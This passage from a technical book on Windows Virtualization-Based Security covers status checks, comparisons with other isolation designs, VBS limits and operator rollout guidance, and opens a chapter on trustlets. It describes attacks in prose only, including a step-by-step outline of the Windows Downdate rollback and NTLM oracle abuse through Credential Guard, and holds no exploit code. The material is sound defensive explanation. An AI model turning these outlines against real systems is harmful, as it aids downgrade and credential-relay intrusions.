Read the first field first. VirtualizationBasedSecurityStatus = 2 is the difference between an aspiration and a runtime fact. A policy key, an Intune profile, or a dashboard setting can say that VBS should be enabled; the WMI status says whether the hypervisor-backed environment is actually running after boot. A value of 0 means the feature is not enabled. A value of 1 means enabled but not running. Only 2 supports the claims this chapter makes.

The service fields are arrays, not a single magic bit. In this capture, the configured and running sets both include Credential Guard and Hypervisor-Enforced Code Integrity (a raw Get-CimInstance surfaces these as the integer enum array {1, 2}; the capture maps them to their documented names for readability). That pairing matters because it shows two distinct consumers of the same secure-world platform: credential isolation and code-integrity enforcement. If Credential Guard were configured but absent from SecurityServicesRunning, an LSASS dump would have to be interpreted differently. If HVCI were configured but not running, a driver policy review would have to ask why the page-permission authority did not come up.

The property fields are the hardware join back to Part I. BaseVirtualizationSupport says the CPU virtualization substrate exists. SecureBoot says the boot chain precondition is present. UEFICodeReadonly and ModeBasedExecutionControl describe capabilities that affect the strength and cost of the VBS configuration. The capture does not prove a physical TPM, IOMMU policy, firmware lock, fleet-wide compliance, the absence of a hidden VTL0 mapping bug, the freshness of the exact securekernel.exe build, or the integrity of every trustlet/enclave admission policy. It gives one reliable anchor for this chapter's live evidence: a concrete machine reporting that the VTL split and its two major services are active.

The probes below are 🔵 DOCUMENTED rather than captured. They are included because they are the operational surfaces Microsoft documents and operators actually use, but they are not presented as lab evidence.

VirtualizationBasedSecurityStatus : 2
SecurityServicesRunning           : {1, 2}
SecurityServicesConfigured        : {1, 2}
AvailableSecurityProperties       : {...}
RequiredSecurityProperties        : {...}

Documented interpretation:
VirtualizationBasedSecurityStatus = 0  Not enabled
VirtualizationBasedSecurityStatus = 1  Enabled but not running
VirtualizationBasedSecurityStatus = 2  Running
SecurityServicesRunning includes 1      Credential Guard running
SecurityServicesRunning includes 2      Hypervisor-Enforced Code Integrity running
AvailableSecurityProperties             Hardware/firmware capabilities available to VBS
RequiredSecurityProperties              Properties required by current VBS policy

hypervisorlaunchtype    Auto
vsmlaunchtype           Auto
isolatedcontext         Yes

Documented interpretation:
hypervisorlaunchtype Auto    Hyper-V hypervisor is configured to launch at boot
hypervisorlaunchtype Off     Hypervisor launch is disabled; VBS cannot run
vsmlaunchtype Auto           Virtual Secure Mode is configured to launch when policy and hardware permit
isolatedcontext Yes          Isolated user-mode context support is enabled where applicable

Virtualization-based security                    Running
Virtualization-based security Services Configured Credential Guard, Hypervisor enforced Code Integrity
Virtualization-based security Services Running    Credential Guard, Hypervisor enforced Code Integrity

Documented interpretation:
"Running" means VBS is active, not just supported.
Configured services are policy intent.
Running services are the services currently active in the VBS secure world.

A Reasoner should combine these views rather than trusting any one of them alone. CIM is the best inventory surface. Boot configuration explains why VBS can or cannot launch. msinfo32 is a human-readable local cross-check. A machine is not protected because one of those surfaces sounds encouraging; it is protected only when policy, boot state, hardware capability, and runtime status agree.

How others solve this problem: Competing approaches

Windows is not alone in this challenge. Intel, AMD, ARM, and the Linux ecosystem each built answers to variants of the same problem: how do you keep a more privileged layer from reading or rewriting a less privileged layer's secrets? The important comparison is not "which one is most secure" in the abstract. It is which layer each system distrusts.

There are four broad patterns. Intra-OS isolation keeps one operating-system instance but splits trust inside it; Windows VBS is the major production example. Process enclaves protect selected application code/data from the OS; Intel SGX was the famous example and VBS Enclaves now provide a Windows-specific variant. Confidential VMs protect a guest VM from the cloud hypervisor; AMD SEV-SNP and Intel TDX live here, and the Confidential VMs chapter (Chapter 28) gives them the full treatment. Firmware/TEE worlds split the processor into secure and normal execution states; ARM TrustZone dominates mobile and embedded devices. Linux combines MAC, namespaces, containers, confidential VMs, and Android/ChromeOS pKVM work, but mainline desktop/server Linux does not have a direct VTL0/VTL1 equivalent.

Intel SGX

Intel Software Guard Extensions provided hardware enclaves at the CPU level without requiring a hypervisor [289]. Application code and data inside an SGX enclave lived in the Enclave Page Cache (EPC), a protected memory region whose contents were encrypted and integrity-protected by processor machinery when leaving the package. The OS still scheduled threads and managed ordinary resources, but it was not supposed to read enclave plaintext or forge enclave execution. The developer's trust anchor moved from Windows or Linux to the CPU package and Intel's attestation ecosystem.

The SGX lifecycle illustrates the contrast with VBS. An application creates an enclave, loads measured pages, initializes it, and then enters enclave code through controlled transitions. Remote attestation lets a relying party verify the enclave measurement before provisioning a secret. That is a very different question from Credential Guard. SGX asks: "Can this small measured application component keep a secret from the OS?" VBS asks: "Can Windows keep selected OS secrets and decisions from a compromised normal kernel?" SGX's isolation is finer-grained; VBS's integration with the OS security model is deeper.

SGX also taught the industry a hard lesson about microarchitectural leakage. The enclave boundary stopped architectural reads, but it did not stop all information flow through caches, speculative execution, page faults, branch predictors, or timing. Foreshadow/L1TF in 2018 exploited CPU behavior to extract data from SGX enclaves [290]. Other SGX research showed that a malicious OS could influence scheduling, page faults, and observation channels around the enclave. Intel later deprecated SGX across many client CPUs, including 11th Gen client parts, and continued away from the client-SGX model in later generations [291].

The lesson for VBS is not "SGX failed, VBS wins." The lesson is that every isolation design inherits the side-channel properties of the hardware it shares. VBS uses a different trust anchor and a different product model, but VTL0 and VTL1 still share cores, caches, predictors, and memory controllers. SGX is therefore a warning label for all enclave-like designs: architectural memory isolation is necessary and still incomplete.

AMD SEV-SNP

AMD Secure Encrypted Virtualization with Secure Nested Paging (SEV-SNP) encrypts VM memory with per-VM keys and enforces page ownership via a Reverse Map Table (RMP): a hardware table that records which VM owns each physical page [292]. Earlier SEV protected confidentiality, SEV-ES encrypted register state on VM exits, and SEV-SNP added stronger integrity and page-ownership protections. The hypervisor can still schedule the VM, deliver virtual interrupts, and provide emulated devices, but it is not supposed to read guest memory plaintext or remap arbitrary host pages into the guest without detection.

The RMP is the conceptual mirror of VBS's SLAT story. In VBS, Hyper-V is trusted to use SLAT to isolate VTL1 from VTL0. In SEV-SNP, the guest uses CPU-enforced metadata to distrust the hypervisor that controls nested page tables. Page-state transitions require explicit ownership changes and validation. Attestation lets a remote relying party verify that the VM is running as a confidential guest on genuine SNP hardware with expected measurements before provisioning secrets.

SEV-SNP is therefore ideal for multi-tenant cloud confidentiality: protect a customer's VM from a malicious or compromised cloud host. It does not solve the Credential Guard problem inside the guest. If Windows inside an SNP-protected VM runs without Credential Guard and an attacker compromises the Windows kernel, SNP will faithfully protect that compromised guest from the cloud provider while the attacker dumps ordinary guest memory from inside. Conversely, VBS does not protect a VM from a malicious hypervisor unless the hypervisor is the trusted Hyper-V layer enforcing VBS. The two technologies answer different attacker positions and can be stacked.

Intel TDX

Intel Trust Domain Extensions create hardware-isolated Trust Domains for VMs, excluding the host VMM from the guest's trusted computing base [293]. The TDX Module runs in Secure Arbitration Mode (SEAM) and mediates the sensitive operations that would otherwise be controlled entirely by the hypervisor: memory assignment, guest state protection, and transitions between the host VMM and the Trust Domain. Like SEV-SNP, the cloud host can schedule and manage resources but should not be able to inspect TD private memory.

TDX's lifecycle resembles SNP at the security-goal level: build a measured confidential VM, protect its private memory from the host, and use attestation before secrets are released. Its implementation details differ: Intel's TDX module and SEAM architecture play a role analogous to an on-platform security monitor for Trust Domains. The measurement and attestation flow gives a relying party evidence about the TD's initial state and platform security properties.

The VBS contrast is again the trust direction. TDX removes the hypervisor from the VM's TCB as much as possible; VBS adds Hyper-V to the host OS's TCB so it can protect VTL1 from VTL0. TDX is a cloud tenant's answer to "can the host read my VM?" VBS is a Windows endpoint's answer to "can my compromised kernel read this credential or load this code?" A Windows VM can use both: TDX or SEV-SNP to protect the VM from the cloud host, and VBS inside the guest to protect selected Windows assets from the guest's own VTL0 kernel.

ARM TrustZone

ARM TrustZone partitions the CPU into a Secure World and a Normal World using a hardware security state bit, predating VBS by a decade (2004 vs. 2015) [294]. World transitions happen through a Secure Monitor Call (SMC) instruction, handled by firmware or a trusted OS like OP-TEE. The concept is similar to VBS (two execution worlds with hardware isolation) but the mechanism differs. TrustZone does not put a general-purpose hypervisor in this particular path, but that does not automatically make the deployed TCB small: real systems often include a secure monitor, TEE OS, firmware services, vendor applets, and device-specific drivers. It is less flexible in the VBS sense because it typically supports only two worlds with coarser granularity. TrustZone dominates mobile and embedded devices; Windows on ARM still uses the hypervisor-based VBS model for VTL0/VTL1 separation, the same architecture as VBS on x64.

Linux

No production equivalent of Windows VBS exists in mainline Linux in the narrow sense of a general-purpose, hypervisor-enforced, in-host secure kernel that protects selected OS assets from a compromised Linux kernel. Linux has many strong security mechanisms, but most operate either at the same kernel trust level or at VM granularity.

SELinux and AppArmor are Linux Security Module (LSM) systems. They can enforce mandatory access-control policy over files, sockets, capabilities, process transitions, and other kernel-mediated objects. They are extremely valuable, especially when policy is tight. But the LSM hook runs inside the Linux kernel. If the attacker owns arbitrary kernel execution, they can generally tamper with the policy decision path, patch hooks, alter credentials, or disable enforcement unless some lower-level mechanism protects the kernel itself. That is the same-level-enforcement problem that pushed Windows beyond PatchGuard.

Namespaces, cgroups, seccomp, Landlock, and containers isolate processes and reduce the ambient authority available to workloads. They are essential for server hardening and multi-tenant application isolation, but they rely on the host kernel as the reference monitor. A container escape or kernel exploit collapses the boundary because the host kernel is the thing all containers share. Containers are therefore not analogous to VTL1; they are VTL0 compartments enforced by a trusted VTL0 kernel.

Linux does use hardware isolation for confidential computing through KVM guests protected by AMD SEV-SNP or Intel TDX. That protects guest VMs from a potentially hostile host/hypervisor, which is the opposite direction from VBS. It is excellent for cloud tenants but does not create an in-kernel secure world for the host OS's own credentials. Linux also has measured boot, IMA/EVM, TPM-backed sealing, dm-verity, lockdown mode, Secure Boot integration, and eBPF hardening, but those mechanisms either measure, restrict, or harden the kernel rather than making a second trust level that the compromised kernel cannot map.

The closest production relatives are in Android and ChromeOS rather than generic mainline server Linux. Google's protected KVM (pKVM) work uses the hypervisor to isolate protected VMs from the host kernel. That is similar in spirit to using a lower layer to distrust a large OS kernel, but its object of protection is a protected VM, not a Windows-style VTL1 secure kernel hosting OS trustlets inside one host instance. Research systems have explored intra-OS privilege separation, micro-hypervisors, isolated drivers, and compartmentalized kernels, but none has become the default mainline Linux equivalent of Credential Guard plus HVCI plus System Guard.

The philosophical difference is important. Linux tends to layer many mechanisms: MAC policy, least-privilege services, namespaces, seccomp, immutable images, measured boot, confidential VMs, and rapid kernel hardening. Windows VBS is a more centralized architectural split inside the OS. Neither philosophy eliminates the need for the other kind of defense. A VBS-protected Windows machine still needs application sandboxing and policy; a hardened Linux system can still benefit from lower-level isolation when the attacker reaches the kernel.

Cross-Platform Comparison

Every platform bets on a different trust anchor and TCB. VBS trusts Hyper-V and the Secure Kernel. SEV-SNP and TDX try to remove the cloud hypervisor from the guest-confidentiality TCB while still trusting CPU firmware/microcode and attestation infrastructure. SGX tried to distrust the OS/VMM for enclave plaintext while trusting the CPU package and Intel's attestation ecosystem: until side-channel attacks showed how much shared microarchitecture still mattered. The uncomfortable question follows: what cannot VBS protect against?

The limits: What VBS cannot protect against

Every security boundary has an edge. VBS's edge is more nuanced than most defenders realize because the normal Windows world remains powerful by design. VTL0 still controls the user's desktop, network stack, local files, most device drivers, most sensors, most logs, and most applications. VBS protects selected VTL1 assets from direct VTL0 access; it does not make VTL0 honest.

The useful taxonomy is fivefold:

1. Boundary implementation bugs. A flaw in Hyper-V, securekernel.exe, IUM, or a secure-call parser can turn VTL0 control into VTL1 control. The hypervisor's own architecture and attack surface are the subject of the Above Ring Zero chapter (Chapter 9); here it is simply the layer VBS trusts to enforce the split.
2. Oracle and protocol abuse. A secret may stay hidden while the attacker asks the secure component to perform useful operations with it.
3. Shared-hardware leakage. VTL0 and VTL1 share physical microarchitectural state, creating potential side channels.
4. Trust-version attacks. Rollback can make the machine run an old vulnerable boundary while reporting a misleadingly current state.
5. Out-of-scope attackers. Firmware, physical access, malicious peripherals, and weak verifier policies can sit outside the guarantee VBS was designed to provide.

Those limits do not make VBS weak. They make its guarantee precise.

Attacking the Secure Kernel directly

In August 2020, Saar Amar and Daniel King of Microsoft's own MSRC stood on the Black Hat stage and demonstrated something the community had feared: direct exploitation of securekernel.exe itself [295]. Using a custom fuzzer called Hyperseed, they found the first five vulnerabilities in the secure call interface within two weeks; combined with continued manual auditing, they ultimately disclosed ten vulnerabilities [296]. Memory corruption bugs in pool management and interface validation allowed VTL0 code to achieve code execution inside VTL1: breaking the isolation entirely.

All vulnerabilities were patched before disclosure. Microsoft has since added mitigations: improved KASLR, Control Flow Guard (CFG) in VTL1, and stricter input validation. But the attack proved that VTL1 is not invulnerable. The secure call interface is a real attack surface, and any bug there defeats all VBS guarantees.

Pass-the-challenge: The protocol-level bypass

Oliver Lyak's "Pass-the-Challenge" research is the canonical instance of limit #2 above: oracle and protocol abuse [297]. Credential Guard prevents credential extraction but cannot prevent credential use: an attacker with SYSTEM access can relay NTLM authentication challenges through lsaiso.exe, using the machine as an "NTLM oracle." The raw hash never leaves VTL1, but the attacker can still ask the secure world to sign challenges on demand. The Credential Guard chapter (Chapter 15) treats this bypass as one of its central adversaries, and the challenge-response mechanics it abuses belong to the Death of NTLM chapter (Chapter 16); what matters here is the architectural shape, not the protocol detail.

Side-Channel Attacks

VBS's architectural boundary is a memory-permission boundary: VTL0 cannot ask the MMU to read VTL1 pages because Hyper-V's second-level permissions deny the mapping. Side channels ask a different question: can VTL0 infer something about VTL1 by measuring shared hardware state that is not modeled as an ordinary memory read?

The VBS-specific leakage model has three ingredients. First, attacker code runs in VTL0, potentially with kernel privileges, so it can schedule carefully, allocate memory, pin threads, read high-resolution timers where available, and create cache or predictor pressure. Second, victim code runs in VTL1, for example securekernel.exe, LsaIso.exe, an attestation trustlet, or a VBS enclave. Third, both worlds share physical resources: cores, private and shared caches, TLBs, branch predictors, store buffers, memory controllers, and sometimes simultaneous multithreading siblings. Hyper-V can deny architectural access to VTL1 pages, but it cannot magically give the secure world a separate CPU on commodity hardware.

Different channels have different relevance. Cache timing attacks such as Prime+Probe or Flush+Reload-style patterns can reveal access-dependent behavior if the attacker can create a useful shared or congruent cache observation. Branch-predictor and speculative-execution attacks can mistrain or observe predictor state across protection domains unless mitigations partition or flush state. TLB and page-walk effects can leak coarse access patterns. SMT can make sibling threads contend for execution resources. Power, thermal, and memory-bus contention can leak even coarser signals. Meltdown-class attacks exploited transient permission bypasses; Spectre-class attacks mistrained speculative execution so victim code transiently touched data-dependent state [298]. The exact exploitability depends on CPU generation, microcode, Windows configuration, timers, scheduling, and the victim code's data-dependent behavior.

Windows and CPU vendors mitigate rather than abolish these channels. IBRS, STIBP, retpolines, and related microcode/software changes reduce branch-target injection and speculative cross-domain leakage [299]. Kernel VA isolation and Meltdown mitigations reduce transient reads across privilege boundaries. Hypervisors can flush or partition selected state on VM or VTL transitions, restrict high-resolution timers, avoid scheduling mutually distrusting contexts on SMT siblings in high-security configurations, and use constant-time coding patterns for cryptographic code. HVCI and VBS also indirectly help by making it harder for arbitrary unsigned kernel implants to install the most convenient measurement machinery, but a signed vulnerable driver or kernel exploit may still give the attacker strong VTL0 observation capabilities.

The residual risk is not "Spectre breaks VBS" as a blanket claim. It is narrower and more annoying: VBS does not by itself guarantee that no information about VTL1 computation leaks through shared microarchitecture. Turning leakage into a useful attack usually requires attacker code running locally, repeated measurements, a victim operation whose secret affects timing or access patterns, enough scheduling control, and a CPU/mitigation configuration that leaves a channel open. Extracting a whole credential from LsaIso.exe is much harder than observing that some secure operation occurred; leaking a bit from a poorly written enclave may be easier than leaking a hardened Windows trustlet.

A masterclass boundary statement is therefore: VBS blocks direct architectural reads and writes from VTL0 to VTL1. It does not create physically separate hardware. Side-channel resistance depends on CPU design, microcode, Hyper-V transition behavior, Windows mitigations, SMT policy, timer availability, and constant-time secure-world code. Complete elimination would require hardware that partitions or duplicates all relevant microarchitectural state across trust levels, or schedules them in a way that removes contention. Commodity systems approximate that ideal; they do not reach it.

The formal verification gap

For VBS, the proof obligations are concrete. A proof would need to show that SLAT ownership and permission updates never expose VTL1 pages to VTL0; that VTL transitions save, restore, and sanitize state correctly; that secure-call dispatch validates all VTL0-controlled buffers, lengths, handles, and object lifetimes; that interrupts, exceptions, and scheduling cannot confuse the trust level; that DMA is either blocked or mediated by the IOMMU; that device assignment does not create aliases into secure memory; that update and boot policy cannot substitute vulnerable trusted components; and that the implementation matches the model on every supported CPU generation.

Even that list leaves out the hard real-world pieces: microcode behavior, SMM, ACPI/firmware interfaces, power management, nested virtualization, crash dump paths, debugging features, hibernation, live update behavior, and third-party drivers interacting with DMA. seL4's achievement is extraordinary precisely because it narrowed the kernel and the model enough for proof. Hyper-V plus VBS is a living commercial platform with compatibility obligations. The plausible near-term path is therefore partial verification or high-assurance review of the smallest critical mechanisms: page-ownership state machines, VTL transition code, secure-call marshalling libraries, and policy parsing. That would not prove all of Windows secure, but it would shrink the empirical gap around the parts that matter most.

Microsoft's own boundary

Microsoft explicitly states in its Security Servicing Criteria that an administrator with physical access is not a security boundary [301]. VBS defends against remote kernel exploitation and privilege escalation, but not against an administrator who can modify firmware, attach hardware debuggers, or perform DMA or evil-maid-style physical attacks; Microsoft's VBS guidance separately calls out IOMMU-backed DMA protection as a distinct hardware requirement [262].

VBS is the strongest runtime isolation Windows has ever had. But it is empirically strong, not mathematically proven. And one attack discovered in 2024 threatened to undo it entirely.

The arms race: Rollback attacks and the ongoing Battle

In August 2024, Alon Leviev of SafeBreach Labs stood on the Black Hat stage and demonstrated something terrifying: he could silently roll back a "fully patched" Windows system to a state where all VBS protections were vulnerable: using Windows Update itself.

I found several vulnerabilities that let me develop Windows Downdate: a tool to take over the Windows Update process to craft fully undetectable downgrades.: Alon Leviev, SafeBreach Labs

The Windows Downdate attack (CVE-2024-21302) works by hijacking the Windows Update mechanism to replace current versions of securekernel.exe, ci.dll, and other VBS components with older, vulnerable versions [303]. The system continues to report itself as "fully patched" while running code with known, exploitable vulnerabilities [304]. The attack requires administrator privileges: which, as we noted, Microsoft does not consider a security boundary.

The rollback attack is best understood as a versioned-trust failure. Step one: an administrator-level attacker in VTL0 gains enough control over the Windows Update path to stage a downgrade instead of an upgrade. Step two: the attacker substitutes older versions of VBS-sensitive components such as securekernel.exe and ci.dll, along with catalog/policy state that lets the downgrade survive normal servicing checks. Step three: the system reboots. Secure Boot may still verify that the binaries are signed, because the problem is not an unsigned bootkit; the problem is a signed but obsolete component. Step four: inventory and user-facing update status can still look current enough to mislead operators, while the code enforcing the VBS boundary is now a version with known vulnerabilities.

This is the same structural lesson as BYOVD, applied to the trusted computing base itself. A signature proves origin and integrity; it does not prove freshness. VBS depends on the secure world running code that includes the latest boundary fixes. If an attacker can force the machine to run an older trusted binary, the hypervisor and Secure Kernel may faithfully enforce an obsolete policy with obsolete bugs.

Microsoft responded with KB5042562, publishing a SkuSiPolicy.p7b revocation policy to block loading of outdated VBS-related binaries [302]. A UEFI variable lock reduces the risk of firmware-level rollback, though Leviev's research demonstrated it can be bypassed through Windows Update manipulation without physical access [305]. But deployment is opt-in and complex: applying it incorrectly can cause boot failures. And the underlying mechanism (admin-level control over the update process) remains exploitable [305].

The weaponization of VBS itself followed shortly. At DEF CON 33 in August 2025, Akamai researchers demonstrated "BYOVE" (Bring Your Own Vulnerable Enclave) and "Mirage": techniques for running malware inside a VBS enclave, hidden from EDR and antimalware tools that cannot inspect VTL1 memory [306]. The very isolation that protects legitimate secrets can also protect malicious code.

The pattern is clear: VBS raises the cost of attack, attackers find creative bypasses, Microsoft hardens further. The question is no longer "is VBS breakable?" but "where does the research go next?"

Open questions: Where research is heading

The Secure Kernel is mature but not finished. Five open problems define the next decade of research.

Complete rollback prevention. KB5042562 is a start, but complete protection may require hardware-enforced monotonic version counters (similar to ARM's anti-rollback fuse bits) integrated into platform firmware [302]. Without hardware support, the administrator-who-controls-updates problem remains fundamentally unsolved.

Secure Kernel vulnerability discovery. Jonathan Jagt's 2025 MSc thesis at Radboud University documented the process of setting up a Secure Kernel debugging environment and analyzed patched security bugs to identify vulnerability patterns [307]. A key finding: the tooling for VTL1 research is scarce. Building a VTL1 debugging environment requires VMware-specific configurations and custom modifications that most researchers do not have access to. Better tooling would accelerate both offensive and defensive research.

VBS Enclave security model. The tension between protecting legitimate secrets and preventing malware evasion has no clean solution. Microsoft's hardening guidance addresses developer mistakes (TOCTOU races, pointer validation, reentrancy risks) [283], but the architectural problem (that VTL1 isolation is equally useful to attackers and defenders) requires a new approach to enclave attestation and monitoring.

Formal verification. Can we ever prove Hyper-V correct? The seL4 proof covers approximately 8,700 lines of C [300]. Hyper-V is hundreds of thousands of lines. Current verification technology cannot scale to that size. Partial verification of critical subsystems (the SLAT enforcement logic, the secure call dispatcher) might be feasible and would meaningfully reduce the trusted computing base.

Side-channel elimination. Requires fundamentally different CPU designs. Current mitigations (microcode patches, partitioned caches, branch prediction barriers) reduce the leakage rate but cannot close the channel entirely while VTL0 and VTL1 share physical hardware [298]. Some academic designs propose physically separate execution units for different trust levels, but these are years from production.

The Windows Secure Kernel is the most significant architectural change to Windows security since the NT reference monitor. It does not make Windows invulnerable. No technology does. But it changed what "kernel compromise" means.

The timeline is cumulative: NT began with flat kernel trust in 1993; PatchGuard, driver signing, DEP, ASLR, and SMEP hardened that world from 2005 onward; Secure Boot and measured boot protected the boot path beginning with Windows 8; VBS, Credential Guard, HVCI, System Guard, Secured-core PCs, and VBS enclaves then added hypervisor-enforced runtime isolation from 2015 through Windows 11 24H2.

Modern Windows runs all three generations simultaneously: PatchGuard still watches for kernel tampering, Secure Boot still verifies the boot chain, and VBS adds hardware-enforced isolation on top. Newer defenses supplement rather than replace earlier ones.

What it means for you

Theory is valuable; practice pays the bills. The operator's task is to turn the VBS model into a repeatable control: choose the threat, verify the hardware, enable the right services, confirm they are actually running, watch for compatibility failures, and keep the trusted components from rolling back. Treat VBS as a fleet lifecycle, not a checkbox.

A practical threat-model checklist starts with four questions. Are you trying to prevent credential extraction after endpoint compromise? Prioritize Credential Guard and NTLM reduction. Are you trying to stop kernel code injection and unsigned drivers? Prioritize HVCI and vulnerable-driver blocking. Are you trying to protect application secrets from local administrators? Use VBS Enclaves only after designing a narrow enclave API. Are you trying to make conditional access depend on device health? Pair System Guard attestation with strict verifier policy. The answer may be "all of them," but rollout order and validation differ.

Hardware Requirements

VBS requires a 64-bit CPU with hardware virtualization (Intel VT-x or AMD-V), Second Level Address Translation (Intel EPT or AMD NPT), TPM 2.0, and UEFI firmware with Secure Boot [262]. Those are baseline requirements, not equal-strength assurances. If virtualization is disabled in firmware, the hypervisor cannot launch. If SLAT is missing, the VTL memory model cannot be enforced. If Secure Boot is off, boot-chain assumptions weaken. If TPM 2.0 is absent or not provisioned, measured boot, key protection, and attestation are less useful. If IOMMU/DMA protection is absent, malicious external devices may sit outside the CPU page-permission model.

Separate launch requirements from assurance requirements:

For HVCI performance, CPU generation matters. Intel Mode-Based Execution Control (MBEC, Kaby Lake / 7th Gen+) and AMD Guest Mode Execute Trap (GMET, Zen 2+) provide hardware support that reduces the overhead of execute permission enforcement [279]. Older systems can emulate aspects of the policy through Restricted User Mode, but the performance and compatibility cost is higher. That cost is often acceptable for high-risk endpoints and often invisible in ordinary office workloads, but it can matter for gaming, low-latency workloads, virtualization-heavy developer machines, and old driver stacks.

Verification should be property-by-property. Win32_DeviceGuard exposes AvailableSecurityProperties and RequiredSecurityProperties, which tell you what the platform offers and what policy requires. msinfo32.exe gives a human-readable view of VBS status and services. Firmware setup or vendor management tools confirm whether virtualization, Secure Boot, TPM, and DMA protections are enabled. MDM inventory should record both capability and runtime state. A machine that is "VBS capable" but reports VirtualizationBasedSecurityStatus = 1 is not equivalent to one reporting 2.

Enabling VBS

VBS can be enabled through:

• Group Policy: Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security
• Intune/MDM: DeviceGuard CSP or endpoint security policies
• Registry: HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity = 1
• Windows Security UI: Device Security > Core Isolation > Memory Integrity for HVCI on individual machines

In managed fleets, policy precedence matters. MDM and Group Policy can both write Device Guard-related settings; local UI state may not represent the final enforced policy after the next sync. Registry keys show intent, not always effective runtime state. Boot configuration such as hypervisorlaunchtype and vsmlaunchtype determines whether the hypervisor and Virtual Secure Mode can launch. Most changes require a reboot because the hypervisor, VTL creation, and secure-world services initialize during boot.

UEFI lock changes the administrative semantics. When VBS is configured with a UEFI lock, disabling it is no longer just a registry edit from Windows; firmware variables participate so that turning it off generally requires physical presence or firmware-level action. That is valuable against remote attackers with admin rights, but it raises the operational stakes. A bad policy pushed with lock enabled can strand devices in an undesired state until hands-on remediation. Pilot rings and recovery instructions are mandatory.

HVCI deserves its own rollout track. Before broad enablement, inventory kernel drivers, update OEM firmware and driver packages, enable Microsoft's recommended vulnerable-driver block rules where appropriate, and monitor CodeIntegrity events for blocked images [271]. A blocked driver can mean the control is working, but if that driver is storage, networking, VPN, anticheat, EDR, smart-card, or industrial-control software, the business impact may be immediate. The right sequence is: audit, pilot, remediate drivers, enable, verify running state, then enforce.

Concrete negative examples:

• Setting the registry key but leaving firmware virtualization disabled yields policy intent without a running VTL split.
• Enabling HVCI on a fleet with old unsigned or W+X-assuming drivers can produce boot or device failures.
• Assuming Windows 11 defaults guarantee Credential Guard on every endpoint ignores domain role, SKU, hardware, and upgrade history.
• Treating SecurityServicesConfigured as success misses machines where services are configured but not running.
• Deploying rollback protection without reading KB5042562's prerequisites can create recovery problems if old boot components are still needed.

HVCI/Memory Integrity can be enabled separately via Windows Security > Device Security > Core Isolation > Memory Integrity, but enterprise posture should be enforced through policy and verified through telemetry rather than left as a per-user toggle.

Verifying VBS status

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root/Microsoft/Windows/DeviceGuard |
  Select-Object VirtualizationBasedSecurityStatus,
                RequiredSecurityProperties,
                AvailableSecurityProperties,
                SecurityServicesConfigured,
                SecurityServicesRunning |
  Format-List

Expected interpretation: VirtualizationBasedSecurityStatus is 0 when VBS is not enabled, 1 when enabled but not running, and 2 when running. SecurityServicesConfigured and SecurityServicesRunning are arrays; common values are 1 for Credential Guard and 2 for HVCI / Memory Integrity.

You can also verify VBS status via:

• msinfo32.exe: Look for "Virtualization-based security" in the System Summary
• Windows Security app: Device Security > Core Isolation details

The Secure Kernel changed the fundamental question of Windows security. From "can we keep attackers out of the kernel?" to "what can we still protect after they get in?" That reframing is the chapter's load-bearing claim: a SYSTEM-level or ring-0 compromise is no longer the end of the story, because the assets that matter most were moved somewhere a compromised kernel cannot directly map.

VBS Trustlets

Four locked rooms

It is 3:14 a.m. and a red-team operator on a fully patched Windows 11 25H2 box has, after eight hours of careful work, achieved the prize: a SYSTEM-privilege write primitive in the NT kernel. For two decades, the credential-theft decade the Mimikatz chapter (Chapter 14) documents, that has been the moment when the engagement ends and the report writes itself. SYSTEM in the kernel meant every process, every page, every secret. Game over.

It is not game over.

The operator's target list has four items on it. The NTLM hashes (the Death of NTLM chapter, Chapter 16) and Kerberos Ticket-Granting Tickets that used to sit directly in lsass.exe. The user's face template or matcher state in the Windows Hello (Chapter 20) Enhanced Sign-in Security pipeline. The just-in-time admin token that Administrator Protection issued thirty seconds ago. The keys of the four Hyper-V virtual machines running on the box, including the one hosting the user's corporate VPN. Four assets, but not four equally public implementation records. LsaIso.exe and vmsp.exe are confirmed trustlets with published Trustlet IDs. The vTPM provisioning trustlet is confirmed by the published ID/capability split. ESS is documented as a VBS-isolated boundary; Administrator Protection is a documented new security boundary whose relationship to VBS/IUM is not on the public record. For both, the exact binary names and Trustlet IDs are not public.

The precise claim is therefore narrower and stronger than the casual one. Confirmed trustlets run in a different kernel from the one the operator just compromised, on a different virtual trust level enforced by a hypervisor running underneath both. Some newer features route sensitive decisions through VBS services without Microsoft publishing whether the implementation object is a classic IUM process, a VBS Enclave, or another isolated component. The operator owns the NT kernel; the NT kernel does not automatically own the VTL1 memory that confirmed trustlets use. That sentence is what changed in 2015, and the rest of this chapter is what it actually means.

This is not "Microsoft hid the memory better." It is not obfuscation, not a clever access-control rule, not a kernel mitigation that the next CVE will erase. It is an architectural relocation: for confirmed trustlets, the user-mode process holding the secret no longer lives in the operating system the attacker compromised; for newer VBS-backed features, the documented sensitive boundary is likewise outside ordinary VTL0 memory even when the exact implementation object is unpublished. The hypervisor refuses to map VTL1-only pages into Virtual Trust Level 0 ("VTL0"), and the operator's kernel is in VTL0.

The aim is concrete: explain trustlets at the level of "what does LsaIso.exe actually do, how is it built, how does it talk to the rest of the system, and where does the model end." Not at the level of "VBS isolates them." Where the public record runs out (some trustlet binary names and IDs are not on Microsoft's published list as of mid-2026), this chapter says so, and shows what the actual records look like instead of inventing replacements.

So how does a user-mode process become unreachable from SYSTEM-in-the-NT-kernel? The answer is not new. It begins, like much of operating-system security, at MIT in the early 1970s.

The user-mode-in-a-higher-privilege problem

In March 1972 Michael Schroeder and Jerome Saltzer published a paper in the Communications of the ACM describing an unusual machine. The Multics team at MIT had been wrestling with a question that does not, at first glance, sound like a security question. What should happen when a user program calls a password-checking routine that needs to read the system password file? The user program must not be allowed to read that file directly. The routine must be allowed to read it. The two pieces of code run in the same process. How does the machine know which one is asking?

Schroeder and Saltzer's answer was eight hardware-enforced rings of privilege, with each segment in memory carrying a ring bracket in its descriptor word, and with cross-ring calls validated automatically by the hardware [313] [314]. The hardware that shipped this design was the Honeywell 6180 in 1973 [315]. The pattern matters more than the gear. Some user code needed to run with more privilege than its caller and less privilege than the kernel. Multics arranged eight such layers from user code at the outermost ring down to the supervisor at ring 0 [313].

Trusted Computing Base (TCB). The set of hardware, firmware, and software whose correct operation is necessary to enforce a security policy. If any component of the TCB can be subverted, the policy can be subverted. The smaller the TCB, the easier it is to audit; the larger it is, the more places an attacker can find a foothold.

